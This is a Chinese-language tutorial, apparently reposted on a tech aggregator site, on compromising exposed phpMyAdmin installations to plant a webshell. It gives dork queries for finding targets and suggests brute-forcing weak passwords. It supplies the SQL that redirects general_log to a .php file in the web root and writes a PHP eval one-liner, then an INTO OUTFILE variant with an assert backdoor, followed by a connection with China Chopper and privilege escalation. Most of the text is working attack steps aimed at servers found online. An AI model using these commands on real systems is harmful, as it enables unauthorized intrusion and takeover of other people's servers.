phpmyadmin渗透拿webshell
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了phpmyadmin渗透拿webshell，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1804字，纯文字阅读大概需要3分钟。
内容图文
首先我们用诸如下图的谷歌语法比如：inurl:index.php intitle:phpMyAdmin 以及shoudan,钟馗之眼等可以再网上搜到一大批暴露的phpmyadmin，看到个文章讲的比较详细https://blog.csdn.net/weixin_44023460/article/details/84925950
我们可以尝试弱口令爆破 ，爆破工具：http://ximcx.cn/post-49.html
进入phpmyadmin后首先用SHOW GLOBAL VARIABLES LIKE ‘%general%’;查询general_log功能是否开启，如果没有开启，我们用set global general_log=’on’ 把它开启
我们要想用sql 上传一句话木马就得知道网站的绝对路径，着要靠我们前期的信息收集，许多网站也会暴露phpinfo信息，在phpinfo里面我们可以看到绝对路径，类似的途径还有报错信息，以及其他暴露的配置文件等等
知道绝对路径我们可以使用
set global general_log_file=’/www/admin/localhost_80/wwwroot/ssr.php’;SELECT ‘<?php eval($_POST["ssr"]);?>’；（注意win下路径要用\转义，）
的语句，在改变general_log路径的时候改名为php文件，同时传入一句话
如图已经传入了站点目录，我们可以访问ssr.php了
这个时候我们已经可以用菜刀连接了
接下来就可以进行提权和远程连接等操作
思考：
1.我们进入phpmyadmin后可以使用select @@datadir as dataPath from dual ;或者
show variables Like ‘%datadir%’;让我们看到data文件的绝对路径，我们可以传入木马但是不能连接，因为没有权限访问，但是这个路径可以帮助我们多少获得一点路径信息，比如说data路径为C:\phpStudy\MySQL\data\ 你就知道是phpstudy构架的网站，就很容易猜出站点目录了
2.还有其他方法传入一句话比如outfile语句SELECT ‘<?php assert($POST[“cmd”];?)>’ into OUTFILE ‘/usr/…/xx.php’
但前提是没有设置secure_file_priv
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时，表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时，则表示没有任何限制
我们可以用 SHOW GLOBAL VARIABLES LIKE ‘%secure%’; 来查询，直接用select outfile 可以在创建php文件的时候写入一句话
内容总结
以上是互联网集市为您收集整理的phpmyadmin渗透拿webshell全部内容，希望文章能够帮你解决phpmyadmin渗透拿webshell所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。